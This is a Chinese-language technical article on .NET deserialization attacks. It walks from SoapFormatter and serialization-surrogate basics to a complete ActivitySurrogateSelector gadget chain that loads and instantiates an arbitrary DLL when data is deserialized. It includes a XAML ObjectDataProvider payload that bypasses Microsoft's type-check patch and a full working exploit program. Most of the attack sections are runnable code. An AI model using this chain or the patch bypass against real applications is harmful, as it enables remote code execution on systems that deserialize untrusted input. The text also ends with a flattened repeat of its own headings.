SoapFormatter 反序列化与ActivitySurrogateSelector gadgets
字数 1063 2025-08-20 18:17:59

SoapFormatter 反序列化与ActivitySurrogateSelector Gadgets 技术分析

1. SoapFormatter 概述

SoapFormatter 是 .NET 框架中用于生成基于 XML 的 SOAP 数据流的类,位于 System.Runtime.Serialization.Formatters.Soap 命名空间。它实现了 IRemotingFormatterIFormatter 接口。

基本用法示例

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;

namespace SoapDeserializationTest
{
    [Serializable]
    public class Person
    {
        public string Name { get; set; }
        public string FirstName { get; set; }
    }

    internal class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.Name = "guess";
            person.FirstName = "EX";

            SoapFormatter soapFormatter = new SoapFormatter();
            using (var memoryStream = new MemoryStream())
            {
                soapFormatter.Serialize(memoryStream, person);
                memoryStream.Position = 0;
                string soap = Encoding.UTF8.GetString(memoryStream.ToArray());
                Console.WriteLine(Encoding.Default.GetString(memoryStream.ToArray()));
            }
            Console.ReadLine();
        }
    }
}

2. SerializationSurrogate 机制

SerializationSurrogate(序列化代理)允许不可序列化的类通过代理进行序列化和反序列化操作。实现 ISerializationSurrogate 接口需要实现 SetObjectDataGetObjectData 方法。

示例实现

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;

namespace SoapDeserializationTest
{
    public class Person
    {
        public string Name { get; set; }
        public string FirstName { get; set; }
    }

    public class PersonSurrogateSelector : ISerializationSurrogate
    {
        public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
        {
            Person person = (Person)obj;
            info.AddValue("PersonName", person.Name);
        }

        public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
        {
            Person person = (Person)obj;
            person.Name = info.GetString("PersonName");
            return person;
        }
    }

    internal class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.Name = "guess";
            person.FirstName = "EX";

            SoapFormatter soapFormatter = new SoapFormatter();
            PersonSurrogateSelector personSurrogateSelector = new PersonSurrogateSelector();
            SurrogateSelector surrogateSelector = new SurrogateSelector();
            surrogateSelector.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), personSurrogateSelector);
            soapFormatter.SurrogateSelector = surrogateSelector;

            using (var memoryStream = new MemoryStream())
            {
                soapFormatter.Serialize(memoryStream, person);
                memoryStream.Position = 0;
                string soap = Encoding.UTF8.GetString(memoryStream.ToArray());
                Console.WriteLine(Encoding.Default.GetString(memoryStream.ToArray()));
                soapFormatter.Deserialize(memoryStream);
            }
            Console.ReadLine();
        }
    }
}

3. SurrogateSelector 工作原理

SurrogateSelector 是代理选择器,位于 System.Runtime.Serialization 命名空间,允许序列化和反序列化原本不能被序列化的类。

自定义 SurrogateSelector 示例

class MySurrogateSelector : SurrogateSelector
{
    public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
    {
        selector = this;
        if (!type.IsSerializable)
        {
            Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
            return (ISerializationSurrogate)Activator.CreateInstance(t);
        }
        return base.GetSurrogate(type, context, out selector);
    }
}

4. ActivitySurrogateSelector 利用

ActivitySurrogateSelector 位于 System.Workflow.ComponentModel.Serialization 命名空间,可用于序列化 Activity 的代理。

关键利用代码

System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
SoapFormatter soapFormatter1 = new SoapFormatter();
MemoryStream memoryStream = new MemoryStream();

soapFormatter1.SurrogateSelector = new MySurrogateSelector();
soapFormatter1.Serialize(memoryStream, new NonSerializable("Hello World!"));
memoryStream.Position = 0;

SoapFormatter soapFormatter2 = new SoapFormatter();
Console.WriteLine(soapFormatter2.Deserialize(memoryStream));

ActivitySurrogateSelector.ObjectSurrogate 关键方法

public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
    if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck && !(obj is ActivityBind) && !(obj is DependencyObject))
    {
        throw new ArgumentException("obj");
    }

    info.AddValue("type", obj.GetType());
    string[] names = null;
    MemberInfo[] serializableMembers = FormatterServicesNoSerializableCheck.GetSerializableMembers(obj.GetType(), out names);
    object[] objectData = FormatterServices.GetObjectData(obj, serializableMembers);
    info.AddValue("memberDatas", objectData);
    info.SetType(typeof(ObjectSerializedRef));
}

5. LINQ 与委托结合利用

利用 LINQ 的延迟执行特性和委托机制构造执行链:

List<byte[]> bytesFile = new List<byte[]>();
bytesFile.Add(File.ReadAllBytes(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ExploitClass.dll"));

var e1 = bytesFile.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(
    typeof(Func<Assembly, IEnumerable<Type>>), 
    typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(MyGetTypes);
var e3 = e2.Select(Activator.CreateInstance);

6. 完整利用链构造

执行链转换

// PagedDataSource 将 IEnumerable 转换为 ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };

// AggregateDictionary 将 ICollection 转换为 IDictionary
IDictionary dict = (IDictionary)Activator.CreateInstance(
    typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), 
    pds);

// DesignerVerb 在 ToString 调用时会查询 IDictionary
DesignerVerb verb = new DesignerVerb("XYZ", null);
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance)
    .SetValue(verb, dict);

触发机制

通过 Hashtable 的异常处理触发 ToString 调用:

Hashtable ht = new Hashtable();
ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");

// 通过反射修改 Hashtable 内部结构
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
    object bucket = keys.GetValue(i);
    object key = fi_key.GetValue(bucket);
    if (key is string)
    {
        fi_key.SetValue(bucket, verb);
        keys.SetValue(bucket, i);
        break;
    }
}
fi_keys.SetValue(ht, keys);

7. 补丁绕过技术

在 .NET 4.8 之后,微软通过检查 DisableActivitySurrogateSelectorTypeCheck 设置来修复漏洞。可以通过 XAML 注入来设置该值:

<ResourceDictionary
    xmlns="https://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="https://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:c="clr-namespace:System.Configuration;assembly=System.Configuration"
    xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib">
    <ObjectDataProvider x:Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">
        <ObjectDataProvider.MethodParameters>
            <s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="field" ObjectInstance="{StaticResource type}" MethodName="GetField">
        <ObjectDataProvider.MethodParameters>
            <s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
            <r:BindingFlags>40</r:BindingFlags>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="set" ObjectInstance="{StaticResource field}" MethodName="SetValue">
        <ObjectDataProvider.MethodParameters>
            <s:Object/>
            <s:Boolean>true</s:Boolean>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="setMethod" ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}" MethodName ="Set">
        <ObjectDataProvider.MethodParameters>
            <s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
            <s:String>true</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

8. 完整利用代码示例

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Web.UI.WebControls;
using System.ComponentModel.Design;
using System.Collections;

namespace ActivitySurrogateSelectorGeneratorTest
{
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type,
            StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }
            return base.GetSurrogate(type, context, out selector);
        }
    }

    [Serializable]
    public class PayloadClass : ISerializable
    {
        public byte[] GadgetChains()
        {
            List<byte[]> bytesFile = new List<byte[]>();
            bytesFile.Add(File.ReadAllBytes(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ExploitClass.dll"));

            var e1 = bytesFile.Select(Assembly.Load);
            Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
            var e2 = e1.SelectMany(MyGetTypes);
            var e3 = e2.Select(Activator.CreateInstance);

            PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
            IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

            DesignerVerb verb = new DesignerVerb("XYZ", null);
            typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

            List<object> ls = new List<object>();
            ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(pds); ls.Add(verb); ls.Add(dict);

            Hashtable ht = new Hashtable();
            ht.Add(verb, "Hello");
            ht.Add("Dummy", "Hello2");

            FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
            Array keys = (Array)fi_keys.GetValue(ht);
            FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
            for (int i = 0; i < keys.Length; ++i)
            {
                object bucket = keys.GetValue(i);
                object key = fi_key.GetValue(bucket);
                if (key is string)
                {
                    fi_key.SetValue(bucket, verb);
                    keys.SetValue(bucket, i);
                    break;
                }
            }
            fi_keys.SetValue(ht, keys);
            ls.Add(ht);

            BinaryFormatter fmt1 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, ls);
            return stm.ToArray();
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(System.Windows.Forms.AxHost.State));
            info.AddValue("PropertyBagBinary", GadgetChains());
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            BinaryFormatter fmt1 = new BinaryFormatter();
            BinaryFormatter fmt2 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            PayloadClass test = new PayloadClass();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, test);
            stm.Seek(0, SeekOrigin.Begin);
            fmt2.Deserialize(stm);
        }
    }
}

9. 参考资源

  1. TypeConfuseDelegate - Project Zero
  2. Re-Animating ActivitySurrogateSelector - NetSPI
  3. .NET 反序列化漏洞详解
  4. SoapFormatter 反序列化研究
SoapFormatter 反序列化与ActivitySurrogateSelector Gadgets 技术分析 1. SoapFormatter 概述 SoapFormatter 是 .NET 框架中用于生成基于 XML 的 SOAP 数据流的类,位于 System.Runtime.Serialization.Formatters.Soap 命名空间。它实现了 IRemotingFormatter 和 IFormatter 接口。 基本用法示例 2. SerializationSurrogate 机制 SerializationSurrogate (序列化代理)允许不可序列化的类通过代理进行序列化和反序列化操作。实现 ISerializationSurrogate 接口需要实现 SetObjectData 和 GetObjectData 方法。 示例实现 3. SurrogateSelector 工作原理 SurrogateSelector 是代理选择器,位于 System.Runtime.Serialization 命名空间,允许序列化和反序列化原本不能被序列化的类。 自定义 SurrogateSelector 示例 4. ActivitySurrogateSelector 利用 ActivitySurrogateSelector 位于 System.Workflow.ComponentModel.Serialization 命名空间,可用于序列化 Activity 的代理。 关键利用代码 ActivitySurrogateSelector.ObjectSurrogate 关键方法 5. LINQ 与委托结合利用 利用 LINQ 的延迟执行特性和委托机制构造执行链: 6. 完整利用链构造 执行链转换 触发机制 通过 Hashtable 的异常处理触发 ToString 调用: 7. 补丁绕过技术 在 .NET 4.8 之后,微软通过检查 DisableActivitySurrogateSelectorTypeCheck 设置来修复漏洞。可以通过 XAML 注入来设置该值: 8. 完整利用代码示例 9. 参考资源 TypeConfuseDelegate - Project Zero Re-Animating ActivitySurrogateSelector - NetSPI .NET 反序列化漏洞详解 SoapFormatter 反序列化研究